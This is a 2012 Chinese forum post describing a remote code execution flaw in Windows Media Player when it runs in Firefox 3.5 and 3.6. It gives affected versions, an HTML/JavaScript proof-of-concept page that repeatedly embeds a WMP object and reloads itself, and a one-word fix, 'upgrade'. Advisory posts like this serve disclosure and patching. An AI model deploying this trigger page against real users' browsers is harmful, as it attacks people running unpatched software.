【漫天教程】Windows Media Player 远程代码执行漏洞及修复

[复制链接]

查看 324 回复 2

楼主发表于 2012-03-09 19:08 | 只看该作者

40 人收藏

漏洞类型：代码执行

影响版本：Version: FF 3.5.10 & 3.6.6 with WMP 10 & 11

漏洞描述：Windows Media Player存在远程可执行代码漏洞

漏洞测试代码：

（HTML> （HEAD> <SCRIPT> function go() { var oWMP = document.getElementById(“WMP“); if (oWMP) { location.reload(); } else { var oWrapper = document.getElementById(“wrapper“); oWrapper.innerHTML = ‘‘<EMBED id=“WMP“ type=“application/x-mplayer2“ autostart=1 src=“repro-firefox.html“></EMBED>‘‘; setTimeout(go, 1000); } } </SCRIPT> （/HEAD> （BODY onload=“go()“> <SPAN id=“wrapper“></SPAN> （/BODY> （/HTML>

修复：

升级

登录回复